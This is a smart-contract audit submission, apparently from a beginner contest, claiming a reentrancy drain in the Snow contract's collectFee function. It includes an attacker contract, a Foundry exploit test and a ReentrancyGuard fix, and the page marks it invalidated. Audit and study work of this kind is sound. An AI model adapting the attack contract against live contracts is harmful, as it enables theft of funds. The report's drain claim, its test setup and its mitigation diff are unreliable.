Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy Vulnerability in collectFee Function


Description

  • The collectFee function transfers WETH and then sends ETH to the collector using a low-level call. This sequence can potentially be exploited by a reentrancy attack if the collector is a contract that can re-enter the collectFee function.

function collectFee() external onlyCollector {
uint256 collection = i_weth.balanceOf(address(this));
i_weth.transfer(s_collector, collection);
(bool collected,) = payable(s_collector).call{value: address(this).balance}("");
require(collected, "Fee collection failed!!!");
}

Risk

Likelihood:

  • This vulnerability occurs when the s_collector address is set to a contract that implements a receive() or fallback() function capable of invoking the collectFee() function again during ETH receipt. Because collectFee() performs external calls before updating state or restricting access through reentrancy guards, a malicious collector contract can exploit this call sequence.


  • This condition is especially likely to be exploitable in a permissioned or semi-permissioned context where the owner or admin mistakenly (or maliciously) sets an untrusted contract as the s_collector. Since the collector can be changed via changeCollector(), any lapse in access control or off-chain due diligence increases the chance of this exploit path being triggered.

Impact:

A malicious contract could re-enter the `collectFee` function and drain the contract's balance.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface ISnow {
function collectFee() external;
}
contract MaliciousCollector {
ISnow public snow;
bool public attacked;
constructor(address _snow) {
snow = ISnow(_snow);
}
receive() external payable {
if (!attacked) {
attacked = true;
snow.collectFee(); // Reentrancy occurs here
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/Snow.sol";
import "../src/MaliciousCollector.sol";
contract ReentrancyTest is Test {
Snow public snow;
MaliciousCollector public attacker;
address public weth;
address deployer = address(0xABCD);
address user = address(0x1234);
function setUp() public {
vm.startPrank(deployer);
weth = address(new ERC20("WETH", "W")); // mock WETH
snow = new Snow(weth, 1, deployer);
attacker = new MaliciousCollector(address(snow));
// give Snow contract ETH and WETH
vm.deal(address(snow), 5 ether);
ERC20(weth).transfer(address(snow), 1000 ether);
// change collector to attacker
snow.changeCollector(address(attacker));
vm.stopPrank();
}
function testExploitReentrancy() public {
vm.prank(address(attacker));
snow.collectFee(); // triggers reentrant exploit
// Expect funds drained
assertGt(address(attacker).balance, 0, "Attacker drained ETH");
assertGt(ERC20(weth).balanceOf(address(attacker)), 0, "Attacker drained WETH");
}
}
In terminal run:
forge build
forge test -vv

Recommended Mitigation

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract Snow is ReentrancyGuard {
}
+ function collectFee() external onlyCollector nonReentrant {
uint256 collection = i_weth.balanceOf(address(this));
i_weth.transfer(s_collector, collection); // Interaction 1 (safe ERC20 transfer)
uint256 ethBalance = address(this).balance;
(bool collected,) = payable(s_collector).call{value: ethBalance}(""); // Interaction 2 (ETH transfer)
require(collected, "Fee collection failed!!!");
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge 11 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.